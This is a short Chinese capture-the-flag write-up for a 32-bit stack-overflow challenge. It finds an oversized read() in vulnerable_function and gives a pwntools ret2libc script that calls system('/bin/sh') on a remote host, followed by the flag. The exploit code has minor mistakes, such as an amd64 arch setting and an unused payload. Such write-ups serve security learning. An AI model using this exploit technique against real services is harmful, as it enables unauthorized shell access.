前言:只能说是看着WP侥幸做出来了,里面很多不懂的地方.
1 分析
首先下载把环境附件整下来
在linux下打开,checksec
32位的,拖进ida
进去后汇编界面根本看不懂,F5查看伪代码
用linux运行也是这样
发现有一个vulnerable_function()函数,点进去看一下
我们可以看出来 栈顶和栈底相差0x88个字节,但是read()却是0x100个字节
r,s分别是返回地址和栈底。
既然这样,我们可以利用栈溢出来getshell。
2 构造栈溢出
1 我们先是找到/bin/sh 和 system的地址
2 构造栈溢出代码
from pwn import *
context(os="linux",arch="amd64",log_lv2="debug")
hyang = 1
elf = ELF("lv2")
def main():
if hyang == 1:
io = remote("111.200.241.244",62999)
else:
io = process("lv2")
sys_adr = elf.symbols["system"]
shell_adr = elf.search("/bin/sh").next()
callsys_adr = 0x0804a024
payload = 'a' * (0x88 + 4) + p32(sys_adr) + p32(0) + p32(shell_adr)
payload2 = 'a' * (0x88 + 4) + p32(callsys_adr) + p32(shell_adr)
io.recvline()
io.sendline(payload)
io.interactive()
main()
3 远程连接
flag:cyberpeace{b25ce94b7c0eae8e0163f4a9456a5b71}